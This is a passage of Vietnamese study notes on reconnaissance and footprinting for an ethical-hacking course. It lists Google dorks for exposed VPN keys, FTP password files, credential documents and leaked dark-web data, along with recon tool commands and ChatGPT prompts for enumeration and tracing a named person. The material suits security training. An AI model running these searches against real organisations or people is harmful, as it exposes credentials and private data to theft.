- **VPN Footprinting**: GHDB được sử dụng để tìm kiếm cấu hình và portal đăng nhập của các thiết bị VPN. Ví dụ các Google Dorks:
  - `inurl:/sslvpn/Login/Login` (Tìm portal đăng nhập VPN).
  - `intitle:"index of" /etc/openvpn/` (Tìm các thư mục chứa dữ liệu cấu hình VPN).
  - `"-----BEGIN OpenVPN Static key V1-----" ext:key` (Tìm các static keys của OpenVPN lộ lọt).
  - **Một số Google Dorks tìm kiếm VPN nâng cao khác (Bảng 2.1)** [Trang 141]:
    * `inurl:"/sslvpn_logon.shtml" intitle:"User Authentication" "WatchGuard Technologies"` (Tìm cổng đăng nhập WatchGuard).
    * `inurl:weblogin intitle:("USG20-VPN" | "USG20W-VPN" ...)` (Tìm lỗ hổng mật khẩu mặc định/hardcoded của Zyxel).
    * `intext:Please Login SSL VPN inurl:remote/login intext:FortiClient` (Tìm trang đăng nhập Fortinet VPN).
    * `intitle:"index of" "vpn-config.*"` (Lấy các tệp cấu hình vpn-config).
    * `Index of / *.ovpn` (Tìm tệp cấu hình, chứng chỉ và keys của OpenVPN).
    * `inurl:"/vpn/tmindex.html" vpn` (Tìm cổng đăng nhập VPN của Netscaler và Citrix Gateway).
    * `intitle:"SSL VPN Service" + intext:"Your system administrator provided the following information..."` (Tìm trang đăng nhập Cisco ASA).
- **Công cụ SearchSploit**: Cho phép tìm kiếm ngoại tuyến (offline) kho dữ liệu của Exploit-DB/GHDB qua dòng lệnh.

Các kỹ thuật tìm kiếm nâng cao khác (Trang 146 - 150)

- **Google Advanced Search & Advanced Image Search**: Bằng cách truy cập `https://www.google.com/advanced_s` hoặc `advanced_image_search`, kẻ tấn công có thể lọc chính xác theo từ khóa, màu sắc, tên miền, loại tệp tin mà không cần nhớ cú pháp toán tử phức tạp.
  - **Cách thực hiện:** Để thực hiện tìm kiếm nâng cao trong Google, hãy nhấp vào **Settings** ở dưới cùng bên phải của trang chủ Google, sau đó chọn **Advanced search** trong menu hoặc trực tiếp nhập `https://www.google.com/advanced_search` vào thanh địa chỉ.
  - Mặc định, các giá trị khác nhau được nối với nhau bằng "and" (tất cả đều phải khớp), ngoại trừ các tập hợp, khối và định dạng được nối với nhau bằng "or" (bất kỳ giá trị nào khớp).
  - Với **Google Advanced Image Search**, kẻ tấn công có thể tinh chỉnh theo nhiều cách: tìm kiếm dựa trên màu sắc hình ảnh, tên miền, loại tệp, kích thước, từ khóa, v.v. để lấy hình ảnh của mục tiêu, vị trí, nhân viên.
- **Reverse Image Search (Tìm kiếm hình ảnh ngược)**: Cho phép theo dõi nguồn gốc hình ảnh, hồ sơ và vị trí (sử dụng Google Image Search, TinEye, Yahoo/Bing Image Search).

  - **Cách thực hiện:** Để thực hiện tìm kiếm hình ảnh ngược trong Google, hãy nhập `https://www.google.com/img` vào thanh địa chỉ. Bạn có thể tải một hình ảnh lên hoặc dán URL của hình ảnh vào công cụ. Hệ thống sẽ xác minh chỉ mục và hiển thị tất cả các vị trí trực tuyến chứa hình ảnh đó.

- **Video Search Engines**: Lấy thông tin từ các video bị lộ, sử dụng công cụ như YouTube Metadata, YouTube DataViewer, MW Metadata, EZGif, và VideoReverser.com để đảo ngược video, phân tích thời gian, thumbnail và trích xuất text/thông tin bị ẩn trong các khung hình video.

Meta search engines (Công cụ tìm kiếm Meta) (Trang 151 - 152)

Các công cụ như Startpage, MetaGer, eTools.ch là dạng tìm kiếm sử dụng các công cụ tìm kiếm khác (Google, Bing...) để tạo ra kết quả trong thời gian rất ngắn. Chúng không có chỉ mục (index) riêng mà gửi truy vấn đồng thời đến các công cụ bên thứ ba, sau đó lọc bỏ các kết quả trùng lặp. Đặc biệt, meta search engines cung cấp tính ẩn danh bằng cách che giấu địa chỉ IP của người dùng.

Công cụ tìm kiếm FTP (Trang 152 - 154)

Bao gồm: NAPALM FTP Indexer, FreewareWeb FTP File Search, Mamont, globalfilesearch.com. Kẻ tấn công sử dụng chúng để tìm kiếm các tệp và thư mục quan trọng trên các máy chủ FTP không được bảo mật. Thông tin thu được bao gồm: chiến lược kinh doanh, tài liệu thuế, hồ sơ nhân viên, hồ sơ tài chính và phần mềm có bản quyền.

Google Dorks nâng cao tìm máy chủ FTP:

- `intitle:"index of" "*/ftp.txt"` hoặc `intext:"index of" "ftp"` (Tìm thư mục chứa thông tin FTP).
- `intitle:"Index of ftp passwords"` (Tìm tệp chứa mật khẩu).
- `inurl:ftp -inurl:(http|https) intext:"@gmail.com" intext:subject fwd|confidential|important|CAR` (Đọc các email/dữ liệu tài chính bị lưu trữ sai cách trên FTP).
- `"index of" /ftp/logs` (Tìm tệp tin nhật ký).
- **Footprinting VoIP và VPN bằng SHODAN:** Shodan không chỉ dùng để tìm thiết bị IoT/SCADA mà còn cho phép kẻ tấn công thực hiện footprinting ở nhiều cấp độ, phát hiện các thiết bị và mạng có lỗ hổng liên quan đến VoIP và VPN.

Tìm kiếm SCADA và IoT (Trang 154)

Bao gồm: Shodan, Censys, ZoomEye. Được sử dụng để thu thập thông tin từ các thiết bị IoT và hệ thống SCADA công khai trên Internet (nhiều thiết bị không có mật khẩu hoặc dùng mật khẩu mặc định). Thông tin lấy được bao gồm: chi tiết nhà sản xuất, vị trí địa lý, địa chỉ IP, hostname và các cổng (port) đang mở.

Tìm tên miền cấp cao (TLDs) và subdomains (Trang 160 - 165)

- **Netcraft (Trang 160):** Lấy danh sách tất cả các tên miền phụ (subdomains) liên quan đến tên miền mục tiêu.
- **DNSdumpster (Trang 161):** Công cụ nghiên cứu tên miền giúp khám phá các máy chủ (hosts) liên quan đến tên miền, địa chỉ IP và các máy chủ DNS đang được sử dụng.
- **Pentest-Tools Find Subdomains (Trang 162):** Khám phá subdomains và IP, bao gồm thông tin mạng, hệ điều hành, máy chủ HTTP và công nghệ nền tảng.
- **Sublist3r (Trang 165):** Sử dụng dòng lệnh (ví dụ: `sublist3r -d domain.com`) để liệt kê subdomains.

Sử dụng AI để khám phá Subdomain (Trang 164 - 166):

Kẻ tấn công có thể sử dụng ChatGPT để tự động sinh các lệnh terminal kết hợp nhiều công cụ.

- Ví dụ Prompt: *"Discover all the subdomains of 'google.com' using dig command"*. AI sẽ xuất lệnh dạng: `dig +short google.com NS | xargs -I{} dig +nocmd +noall +answer @{} google.com A +noall +answer` để liệt kê tự động.
- Ví dụ Prompt: *"Use Sublist3r to gather a list of subdomains of the target organization eccouncil"*. AI sẽ trả về lệnh `sublist3r -d eccouncil.org -o eccouncil_subdomains.txt`.

Trích xuất thông tin trang web qua Archive.org (Trang 167 - 168)

Internet Archive's Wayback Machine (`https://archive.org`) lưu trữ các phiên bản cũ của một trang web. Kẻ tấn công sử dụng công cụ này để thu thập thông tin đã bị gỡ bỏ khỏi trang web hiện tại (ví dụ: các tài liệu cũ, cấu hình phần mềm, thông tin nhân viên cũ, cấu trúc trang) để thực hiện tấn công phishing hoặc tìm lỗ hổng ứng dụng web.

Thu hồi URLs đã lưu trữ bằng Photon (Trang 167 - 169)

Công cụ Photon được dùng để trích xuất các URL và liên kết được lưu trữ của một trang web mục tiêu từ archive.org (Wayback Machine), cho phép kẻ tấn công thu thập lại cả những thông tin đã bị xóa khỏi trang web. Lệnh sử dụng: `photon.py -u <URL> -l 3 -t 200 --wayback`.

Dịch vụ tìm kiếm người (Trang 170)

Spokeo là một dịch vụ tìm kiếm người trực tuyến giúp kẻ tấn công tìm kiếm thông tin về nhân viên của tổ chức mục tiêu. Các dữ liệu thu thập được bao gồm: số điện thoại, địa chỉ email, lịch sử địa chỉ, tuổi, ngày sinh, thành viên gia đình, hồ sơ mạng xã hội và hồ sơ tòa án.

Footprinting thông qua các trang web tìm việc (Job Sites) (Trang 171 - 172)

Kẻ tấn công thu thập thông tin từ các trang web tuyển dụng (như Dice, LinkedIn, Glassdoor, Simply Hired).

- Các bài đăng tuyển dụng IT/Network Admin thường tiết lộ chi tiết về hạ tầng mạng, hệ điều hành (Windows/Linux), phiên bản phần mềm, tường lửa (firewall), cơ sở dữ liệu và hệ thống máy ảo (Hypervisor/VMs) đang được sử dụng.
- Kẻ tấn công cũng có thể phân tích sơ yếu lý lịch (resumes) của nhân viên mục tiêu trên các nền tảng này để tìm thông tin kỹ thuật chuyên sâu về tổ chức.

Dark Web Footprinting (Trang 173 - 176)

- **Surface web (Web nổi)**: Lớp ngoài cùng, cho phép tìm kiếm qua các trình duyệt thông thường (Google, Bing).
- **Deep web (Web chìm)**: Nội dung không được lập chỉ mục (unindexed), mở rộng lớn hơn rất nhiều so với Surface web (như dữ liệu cơ quan chính phủ, DB tổ chức).
- **Dark web (Darknet)**: Là một tập con của Deep web, chỉ có thể truy cập qua các trình duyệt chuyên dụng (như Tor Browser), cho phép ẩn danh hoàn toàn.
- **Công cụ Dark Web**: Kẻ tấn công sử dụng Tor Browser, ExoneraTor, OnionLand Search Engine để thu thập thông tin bí mật (thẻ tín dụng, số SSN, hồ sơ y tế bị lộ).
- **Kỹ thuật tìm kiếm**: Kẻ tấn công dùng các toán tử tìm kiếm chuyên biệt với đuôi `.onion` trên Tor:

- `filetype:pdf site:onion confidential` (Tìm PDF nhạy cảm).
- `intitle:"index of" /etc/openvpn/` (Tìm thư mục VPN).
- `inurl:config filetype:txt password` (Tìm cấu hình chứa mật khẩu).
- **Tìm kiếm Dark Web với các Tham số Tìm kiếm Nâng cao (Advanced Search Parameters) [Trang 174 - 176]:**
  * Hồ sơ cá nhân (Personal profiles): `"John Doe" site:facebook.com OR site:linkedin.com`
  * Ấn phẩm khoa học (Scientific publications): `"John Doe" site:scholar.google.com`
  * Hồ sơ tòa án (Court records): `"John Doe" court records`
  * Danh bạ thành viên (Member directories): `"John Doe" site:example.com "employee directory"`
  * Hồ sơ y tế (Medical records): `"John Doe" medical records`
  * Hồ sơ vị trí (Location records): `"John Doe" location history`
- **Bảng truy vấn Dark Web mở rộng (Dành cho Tor Browser) [Trang 174 - 176]:**
  * `filetype:xlsx site:onion financial` (Định vị dữ liệu tài chính/Excel).
  * `filetype:sql site:onion dump` (Tìm các bản dump cơ sở dữ liệu SQL).
  * `filetype:csv site:onion email` (Tìm danh sách email).
  * `intitle:"login credentials" filetype:docx` (Tìm tài liệu Word chứa thông tin đăng nhập).
  * `filetype:xml inurl:config server` (Tìm tệp XML cấu hình máy chủ).
  * `filetype:key site:onion private` (Tìm các tệp khóa riêng tư/private keys).
  * `filetype:pdf site:onion "medical records"` (Tìm hồ sơ y tế).
  * `filetype:ppt site:onion "business plan"` (Tìm kế hoạch kinh doanh).
  * `filetype:py site:onion "def "` (Tìm tệp mã nguồn Python).
  * `filetype:docx site:onion "legal document"` (Tìm tài liệu pháp lý).
  * `filetype:pdf site:onion "bank statement"` (Tìm sao kê ngân hàng).
  * `filetype:pdf inurl:patent confidential` (Tìm tài liệu sở hữu trí tuệ/bằng sáng chế mật).
  * `filetype:txt inurl:exploit "security vulnerability"` (Tìm tệp văn bản chi tiết về lỗ hổng).

Phát hiện hệ điều hành - OS detection (Trang 177 - 179)

Kẻ tấn công sử dụng các công cụ để xác định hệ điều hành (OS fingerprinting) chạy trên mục tiêu.

- **Netcraft:** Dùng ô tìm kiếm "What's that site running?" để xác định hệ điều hành và thông tin web server của domain.
- **Censys / Shodan:** Tìm kiếm các thiết bị kết nối Internet để lấy thông tin hệ điều hành, địa chỉ IP, vị trí địa lý và các giao thức đang được sử dụng.

Thu thập thông tin cạnh tranh (Competitive Intelligence) (Trang 183 - 186)

- **Các phương pháp thu thập (Approaches):**
  - Direct Approach (Tiếp cận trực tiếp): Kỹ thuật thu thập thông tin từ các triển lãm thương mại, tấn công kỹ nghệ xã hội (social engineering) vào nhân viên và khách hàng, v.v.
  - Indirect Approach (Tiếp cận gián tiếp): Thu thập thông tin thông qua các tài nguyên trực tuyến. Các kỹ thuật tiếp cận gián tiếp bao gồm:
    * Trang web công ty và quảng cáo tuyển dụng (Company websites and employment ads)
    * Các luồng hỗ trợ và đánh giá (Support threads and reviews)
    * Công cụ tìm kiếm, Internet và cơ sở dữ liệu trực tuyến
    * Các bài đăng trên mạng xã hội (Social media postings)
    * Thông cáo báo chí và báo cáo thường niên
    * Tạp chí thương mại, hội nghị và báo chí
    * Bằng sáng chế và nhãn hiệu (Patent and trademarks)
    * Danh mục sản phẩm và các cửa hàng bán lẻ
    * Báo cáo phân tích và quy định
    * Phỏng vấn khách hàng và nhà cung cấp
    * Đại lý, nhà phân phối và nhà cung cấp
    * Các blog và ấn phẩm chuyên ngành
    * Cơ sở dữ liệu pháp lý (ví dụ: LexisNexis)
    * Cơ sở dữ liệu thông tin doanh nghiệp (ví dụ: D&B Hoovers)
    * Các bài đăng tuyển dụng trực tuyến
    * Hồ sơ tài chính (Financial filings)
    * Giải pháp công nghệ (ví dụ: Crunchbase)
    * Phân tích sở hữu trí tuệ
- **Các câu hỏi định hướng (Competitive Intelligence):** When did it begin? (Khi nào công ty bắt đầu?), How did it develop? (Phát triển như thế nào?), Who leads it? (Ai lãnh đạo?), Where is it located? (Vị trí các chi nhánh ở đâu?).

Quá trình này giúp kẻ tấn công thu thập kế hoạch, chiến lược kinh doanh của tổ chức từ các nguồn:

- **EDGAR database:** Cơ sở dữ liệu lấy thông tin nhạy cảm về tài chính và doanh nghiệp từ SEC.
- **D&B Hoovers / Experian:** Cung cấp thông tin phân tích tiếp thị, hồ sơ kinh doanh và chiến lược tìm kiếm khách hàng.
- **LexisNexis:** Cơ sở dữ liệu pháp lý và hồ sơ công khai.
- **Business Wire / Factiva:** Phân phối các thông cáo báo chí, tin tức toàn cầu và dữ liệu kinh doanh.
- **MarketWatch / The Wall Street Transcript:** Theo dõi nhịp đập thị trường, tin tức tài chính, báo cáo ngành và ý kiến chuyên gia.
- **Euromonitor:** Phân tích, khảo sát thị trường tiêu dùng và nhân khẩu học.

- **The Search Monitor:** Theo dõi quảng cáo cạnh tranh, tuân thủ liên kết, chia sẻ thị phần và thương hiệu.
- **The Wall Street Transcript:** Website và ấn phẩm trả phí xuất bản các báo cáo ngành, thể hiện quan điểm của các nhà quản lý tiền tệ và chuyên gia phân tích cổ phiếu.
- **Experian:** Cung cấp thông tin chi tiết về các chiến lược tìm kiếm, tiếp thị liên kết, hiển thị và tiếp thị xã hội của đối thủ cạnh tranh để cải thiện kết quả chiến dịch tiếp thị.
- **SEMRush:** Công cụ nghiên cứu từ khóa cạnh tranh. Cung cấp danh sách từ khóa Google và AdWords của bất kỳ trang web nào, cũng như danh sách đối thủ trong kết quả tìm kiếm tự nhiên và trả phí.
- **USPTO:** Tra cứu thông tin hồ sơ bằng sáng chế và đăng ký nhãn hiệu.
- **ABI/INFORM Global / SimilarWeb / SERanking:** Phân tích lưu lượng truy cập web, chiến lược SEO, PPC và nghiên cứu điều kiện kinh doanh tổng thể.

Các kỹ thuật Internet Research khác (Trang 187 - 193)

- **Tìm kiếm vị trí địa lý (Geographical Location)**: Sử dụng Google Earth, Google Maps, Wikimapia để xem cận cảnh hình ảnh các tòa nhà, vị trí camera an ninh, lối vào/lối ra, chỗ ẩn nấp và khu vực Wi-Fi để phục vụ tấn công vật lý (Surveillance, Dumpster diving).
- **Thông tin từ dịch vụ tài chính (Financial Services)**: Dùng Google Finance, MSN Money, Yahoo Finance để theo dõi tình hình thị trường, thông cáo báo chí tài chính để tìm hiểu công ty.
- **Hồ sơ doanh nghiệp (Business Profile Sites)**: Dùng các nền tảng như opencorporates, Crunchbase, corporationwiki để tìm địa chỉ, hệ thống nhân viên và cơ cấu phòng ban.
- **Theo dõi mục tiêu bằng Alerts (Cảnh báo)**: Dùng Google Alerts, X Alerts, Giga Alerts để thiết lập cảnh báo thời gian thực về email hoặc SMS bất cứ khi nào tên tổ chức/nhân sự được nhắc đến trên tin tức hoặc mạng xã hội.
  - **Theo dõi Danh tiếng Trực tuyến của Mục tiêu (Tracking the Online Reputation of the Target) [Trang 192]**:
    * Quản lý danh tiếng trực tuyến (Online Reputation Management - ORM) là quá trình theo dõi những gì hiển thị khi ai đó tìm kiếm danh tiếng công ty trên Internet. Các tổ chức thường theo dõi phản hồi công khai để cải thiện độ tin cậy. Sự minh bạch này có thể giúp kẻ tấn công thu thập thông tin xác thực về mục tiêu.
    * **Các công cụ theo dõi danh tiếng trực tuyến (Online Reputation Tracking Tools)**: Kẻ tấn công sử dụng các công cụ như Mention, ReviewPush, và Reputology để theo dõi các cuộc trò chuyện, thứ hạng tìm kiếm, nhận thông báo qua email khi công ty được nhắc đến và thu thập tin tức xã hội về tổ chức mục tiêu.
- **Thu thập từ Group, Diễn đàn và Blog**: Kẻ tấn công thường tạo tài khoản giả mạo (Fake profile) tham gia vào Google Groups hoặc LinkedIn Groups của công ty để thu thập thông tin cá nhân và tổ chức bị rò rỉ (employee pictures, work location, email, v.v.).

Kho mã nguồn công khai (Trang 194 - 195)

Công cụ Recon-ng là một framework trinh sát web mạnh mẽ với các module độc lập, giúp thu thập nhanh chóng các cấu hình, khóa SSH/SSL riêng tư, tệp mã nguồn và các tệp nhạy cảm khác bị rò rỉ trên các kho mã nguồn công khai như GitHub, GitLab.

Mạng xã hội / Thu thập từ MXH và Thu thập danh sách email (Trang 199 & 201 - 203)

Công cụ theHarvester được dùng để liệt kê (enumerate) thông tin trên LinkedIn để tìm chức danh, vị trí công việc của nhân viên, hoặc để thu thập danh sách email nhạy cảm từ các công cụ tìm kiếm. Ví dụ lệnh: `theHarvester -d microsoft.com -l 200 -b linkedin` (Trang 199 & 203):

- `-d`: Chỉ định domain hoặc tên công ty cần tìm kiếm.
- `-l 200`: Giới hạn số lượng kết quả thu về là 200.
- `-b`: Chỉ định nguồn dữ liệu dùng để tìm kiếm (ví dụ: linkedin, baidu, google).

Phân tích mạng xã hội (Trang 205)

Công cụ BuzzSumo là một công cụ tìm kiếm xã hội nâng cao giúp tìm ra những nội dung được chia sẻ nhiều nhất theo chủ đề, tác giả hoặc tên miền trên Twitter, Facebook, LinkedIn, Pinterest. Kẻ tấn công dùng nó để theo dõi tài khoản mạng xã hội, URL và thu thập email để thực hiện lừa đảo (phishing).

- **Các công cụ tương tự**: Cùng với BuzzSumo, kẻ tấn công cũng sử dụng Google Trends, Hashatit và Ubersuggest để theo dõi nội dung được chia sẻ nhiều nhất, từ khóa, tài khoản và URL trên các nền tảng mạng xã hội.

Footprinting mạng xã hội với AI (Trang 204 & 210 - 211)

- **Thu thập Email bằng AI**: Kẻ tấn công có thể sử dụng các prompt trên ChatGPT (VD: *"Use theHarvester to gather email accounts associated with 'microsoft.com', limiting results to 200, and leveraging 'baidu' as a data source"*). Trí tuệ nhân tạo sẽ tự động hóa việc xuất câu lệnh chính xác giúp quá trình thu thập thông tin trở nên trơn tru hơn.
- **Sử dụng Sherlock kết hợp AI**: Thay vì tra cứu thủ công, hacker sử dụng prompt yêu cầu AI tạo kịch bản truy vết tên người dùng trên Sherlock (Ví dụ: *"Use Sherlock to gather personal information about Sundar Pichai and save the result in recon2.txt"*).

Footprinting trên mạng xã hội (Trang 207 - 208)

- **Sherlock:** Công cụ dòng lệnh dùng để tìm kiếm một username (tên người dùng) mục tiêu trên hàng loạt mạng xã hội khác nhau và trả về các URL đầy đủ tới hồ sơ của người đó.
- **SocialSearcher:** Cho phép kẻ tấn công tìm kiếm nội dung và theo dõi hoạt động của mục tiêu trên mạng xã hội trong thời gian thực, đồng thời cung cấp dữ liệu phân tích chuyên sâu.

WHOIS, DNS Footprinting

Tra cứu WHOIS (WHOIS Lookup) (Trang 213 - 215)

Whois là một giao thức truy vấn và phản hồi được sử dụng để truy vấn các cơ sở dữ liệu lưu trữ người dùng đăng ký hoặc người được chỉ định của một tài nguyên Internet (như tên miền, khối địa chỉ IP). Có 3 mô hình dữ liệu để lưu trữ và tra cứu thông tin Whois:

- **Thick WHOIS (Mô hình phân tán - Distributed Model):** Lưu trữ thông tin Whois hoàn chỉnh từ tất cả các nhà đăng ký cho một tập dữ liệu cụ thể.
- **Thin WHOIS (Mô hình tập trung - Centralized Model):** Chỉ lưu trữ tên của máy chủ Whois của nhà đăng ký tên miền, máy chủ này sau đó mới chứa các chi tiết hoàn chỉnh về dữ liệu đang được tra cứu.

- **Decentralized WHOIS (Mô hình phi tập trung):** Lưu trữ thông tin WHOIS hoàn chỉnh và có nhiều thực thể độc lập để quản lý cơ sở dữ liệu WHOIS.
- **Các công cụ Whois Lookup (Whois Lookup Tools):** whois.domaintools.com, tamos.com, Batch IP Converter, WHOIS Domain Lookup, và Active Whois.

Các Regional Internet Registries (RIRs) (Trang 214)

RIRs duy trì các cơ sở dữ liệu Whois chứa thông tin cá nhân của chủ sở hữu tên miền. Bao gồm:

- **ARIN (American Registry for Internet Numbers)** — Bắc Mỹ
- **AFRINIC (African Network Information Center)** — Châu Phi
- **APNIC (Asia Pacific Network Information Center)** — Châu Á Thái Bình Dương
- **RIPE (Réseaux IP Européens Network Coordination Centre)** — Châu Âu
- **LACNIC (Latin American and Caribbean Network Information Center)** — Mỹ Latinh và Caribe

Định vị địa lý IP (IP Geolocation) (Trang 217)

- IP Geolocation giúp lấy thông tin về mục tiêu như: quốc gia, khu vực/bang, thành phố, vĩ độ/kinh độ, mã ZIP, múi giờ, tốc độ kết nối, ISP (công ty lưu trữ), tên miền, mã quốc gia IDD, mã vùng, trạm thời tiết, nhà mạng di động và độ cao.
- **Công cụ IP2Location:** Giúp kẻ tấn công xác định vị trí địa lý của người truy cập hoặc lấy thông tin qua cơ sở dữ liệu tra cứu địa chỉ IP độc quyền.
- **Các công cụ định vị IP khác**: IP Location Finder và IP Address Geographical Location Finder.

DNS Footprinting

- **Các lệnh thực thi quét DNS bằng Fierce [Trang 222 - 224]:**
  - Quét cơ bản: `fierce --domain <target_domain>`
  - Quét các subdomain cụ thể (như write, admin, mail): `fierce -domain <target_domain> -subdomains write admin mail`
  - Quét các khối IP liền kề (với phạm vi 10): `fierce -domain <target_domain> -subdomains mail -traverse 10`
  - Thử kết nối HTTP trên các subdomain đã phát hiện: `fierce --domain <target_domain> --subdomains mail --connect`
  - Quét chi tiết toàn diện (full detailed scan): `fierce --domain <target_domain> --wide`

Các loại bản ghi DNS (DNS Record types) (Trang 220)

Thu thập thông tin DNS tiết lộ dữ liệu vùng DNS (DNS zone data) bao gồm tên miền, tên máy tính, địa chỉ IP và nhiều thông tin khác. Các bản ghi DNS giúp xác định mục tiêu:

- **A (Address record):** Trỏ/Ánh xạ (Map) hostname tới địa chỉ IPv4.
- **AAAA (IPv6 address record):** Trỏ hostname tới địa chỉ IPv6.
- **MX (Mail exchange):** Trỏ tới mail server (máy chủ thư) của domain.

- **NS (Name server):** Trỏ tới name server của máy chủ.
- **CNAME (Canonical name):** Gán bí danh (alias) cho một host.
- **SOA (Start of Authority):** Chỉ định quyền hạn (authority) cho một domain.
- **SRV (Service record):** Các bản ghi dịch vụ.
- **PTR (Pointer record):** Ánh xạ địa chỉ IP tới một hostname (thường dùng cho reverse lookup).
- **RP (Responsible person):** Người chịu trách nhiệm (quản trị viên).
- **HINFO (Host information):** Bản ghi thông tin host bao gồm loại CPU và hệ điều hành (OS).
- **TXT (Text Record):** Các bản ghi văn bản không cấu trúc.

Công cụ DNS (Trang 221 - 229)

- **SecurityTrails (Trang 221):** Công cụ liệt kê DNS nâng cao có khả năng tạo bản đồ DNS của mạng mục tiêu, liệt kê các bản ghi hiện tại và lịch sử (A, AAAA, NS, MX, SOA, TXT).
- **Fierce (Trang 222):** Công cụ trinh sát DNS dùng để quét và thu thập thông tin quan trọng. Giúp liệt kê subdomain, xác định các không gian IP không liền kề và hostname được liên kết với tên miền.
- **DNSRecon (Trang 227 - 228):** Công cụ dùng để liệt kê DNS và thực hiện thao tác Reverse DNS Lookup (tra cứu DNS ngược) bằng phương pháp brute-force trên một dải địa chỉ IP để lấy tên miền.
- **Các công cụ Reverse DNS khác**: Reverse Lookup (mxtoolbox.com), puredns, Reverse IP Domain Check, và Reverse IP Lookup.
- **DNSChecker:** Công cụ truy vấn máy chủ DNS để lấy thông tin chi tiết về các bản ghi DNS.
- **zdns:** Công cụ interrogation DNS mạnh mẽ được dùng để lấy cấu trúc bản ghi chứa thông tin về DNS mục tiêu.
- **MXToolbox (Trang 229 & 244):** Được sử dụng cho công việc Reverse Lookup để tìm DNS PTR record, và cũng được dùng làm công cụ theo dõi email (Email Tracking).

Truy vấn DNS bằng công nghệ AI (Trang 225 - 226)

Hacker có thể kết hợp ChatGPT và công cụ dnsrecon để tự động hóa việc truy vấn DNS.

- Ví dụ prompt: *"Install and use DNSRecon to perform DNS enumeration on the target domain www.certifiedhacker.com"*.
- AI sẽ tạo ra luồng lệnh đầy đủ như `sudo apt-get update && sudo apt-get install -y dnsrecon && dnsrecon -d certifiedhacker.com -t std`.
  - **Giải thích chi tiết luồng lệnh:**
    * `sudo apt-get update`: Cập nhật danh sách gói (package lists) để nâng cấp và chuẩn bị cài đặt gói mới.
    * &&: Nối các lệnh để thực thi chúng theo tuần tự.
    * `sudo apt-get install -y dnsrecon`: Cài đặt công cụ dnsrecon và tự động trả lời "yes" cho mọi lời nhắc.
    * `dnsrecon -d certifiedhacker.com -t std`: Khởi chạy công cụ dnsrecon để thực hiện liệt kê DNS trên tên miền mục tiêu bằng các kỹ thuật liệt kê tiêu chuẩn (standard enumeration).

Xác định dải mạng (Locate the Network Range) (Trang 230 - 232)

- Xác định dải IP giúp kẻ tấn công lập bản đồ mạng mục tiêu (network topology), tìm ra máy chủ nào đang sống và các thiết bị kiểm soát mạng.
- Sử dụng cơ sở dữ liệu của các Regional Internet Registry (như ARIN Whois database) để lấy dải IP, mặt nạ mạng (subnet mask).
  - **Cách truy vấn:** Người dùng có thể truy cập trang web của ARIN (`https://www.arin.net/about/welcome/regi` và nhập địa chỉ IP của máy chủ vào hộp văn bản **SEARCH Site or Whois**. Việc này sẽ trả về phạm vi mạng (network range) của mạng mục tiêu. Các máy chủ DNS được thiết lập không đúng cách sẽ tạo cơ hội tốt để kẻ tấn công có được danh sách các máy nội bộ trong mạng.
- Dải IP Private (IANA dự trữ): `10.0.0.0/8`, `172.16.0.0/12` và `192.168.0.0/16`. Kẻ tấn công cố gắng lần theo traceroute để lấy các địa chỉ IP nội bộ của Gateway (router).

Traceroute (Traceroute Tools) (Trang 233 - 241)

Traceroute sử dụng giao thức ICMP và trường Time to Live (TTL) trong IP header để tìm đường đi (route) của gói tin đến host mục tiêu. Công cụ Traceroute:

- **NetScanTools Pro (Trang 240):** Công cụ theo dõi các gói tin từ máy kẻ tấn công đến thiết bị mục tiêu qua mạng LAN hoặc Internet. Hỗ trợ traceroute bằng ICMP, UDP, hoặc TCP, giúp xác định các thiết bị trung gian và quốc gia được gán cho mỗi IP.
- **PingPlotter (Trang 241):** Cho phép thu thập dữ liệu traceroute sử dụng gói ICMP, UDP và TCP. Tự động khám phá các network hops, theo dõi độ trễ (latency) và mất gói (packet loss) theo thời gian, hiển thị dưới dạng biểu đồ trực quan.
- **Các công cụ Traceroute bổ sung**: Traceroute NG và lệnh tracert (mặc định trên Windows).

Cơ chế Traceroute và Các loại Traceroute (Trang 234 - 239)

- **Phân tích Traceroute**: Kết quả traceroute giúp kẻ tấn công xác định rõ các router trung gian và Firewall bảo vệ (Ví dụ: `1.10.10.20` là Bastion Host/Firewall đầu tiên, sau đó đến DMZ, rồi đến Internal Firewall `1.10.10.50`).
  - **Ví dụ phân tích Traceroute (Traceroute Analysis):**
    - `traceroute 1.10.10.20`, hop áp chót (second to last hop) là `1.10.10.1`
    - `traceroute 1.10.20.10`, hop thứ ba từ dưới lên (third to last hop) là `1.10.10.1`
    - `traceroute 1.10.20.10`, hop áp chót là `1.10.10.50`
    - `traceroute 1.10.20.15`, hop thứ ba từ dưới lên là `1.10.10.1`
    - `traceroute 1.10.20.15`, hop áp chót là `1.10.10.50`
- **ICMP Traceroute**: (Mặc định trên Windows thông qua lệnh `tracert`). Gửi gói ICMP với TTL tăng dần.
- **TCP Traceroute**: Nhiều hệ thống tự động chặn gói ICMP traceroute. Khi đó, kẻ tấn công dùng TCP/UDP (Layer 4 traceroute). Trong Linux, dùng lệnh `tcptraceroute www.google.com`.
- **UDP Traceroute**: (Mặc định trên Linux thông qua lệnh `traceroute`). Sử dụng gói UDP thay vì ICMP.
- **Tự động hóa Traceroute bằng AI**: Kẻ tấn công sử dụng ChatGPT để yêu cầu tạo kịch bản quét (Ví dụ: *"Perform network tracerouting to discover the routers on the path to a target host www.certifiedhacker.com"*).

- **Thông tin thu thập được qua các công cụ Theo dõi Email (Email Tracking) [Trang 242]:**
  - **IP hệ thống của người nhận (Recipient's System IP address):** Cho phép theo dõi địa chỉ IP của người nhận.
  - **Vị trí địa lý (Geolocation):** Ước tính và hiển thị vị trí người nhận trên bản đồ, tính khoảng cách từ kẻ tấn công.
  - **Email được nhận và đọc (Email Received and Read):** Thông báo cho kẻ tấn công biết khi nào email được mở.
  - **Thời gian đọc (Read Duration):** Thời gian người nhận dành để đọc email.
  - **Phát hiện Proxy (Proxy Detection):** Thông tin về loại máy chủ mà người nhận đang sử dụng.
  - **Liên kết (Links):** Kiểm tra xem người nhận đã nhấp vào các liên kết đính kèm hay chưa.
  - **Hệ điều hành và Trình duyệt (OS and Browser info):** Thông tin giúp kẻ tấn công tìm lỗ hổng tương ứng để khai thác.
  - **Chuyển tiếp (Forward Email):** Xác định xem email có được chuyển tiếp cho người khác hay không.
  - **Loại thiết bị (Device Type):** Máy tính để bàn, thiết bị di động hay laptop.
  - **Đường đi (Path Travelled):** Theo dõi các Mail Transfer Agents mà email đã đi qua.

Theo dõi Email (Email Tracking Tools) (Trang 244 - 246)

Công cụ theo dõi email:

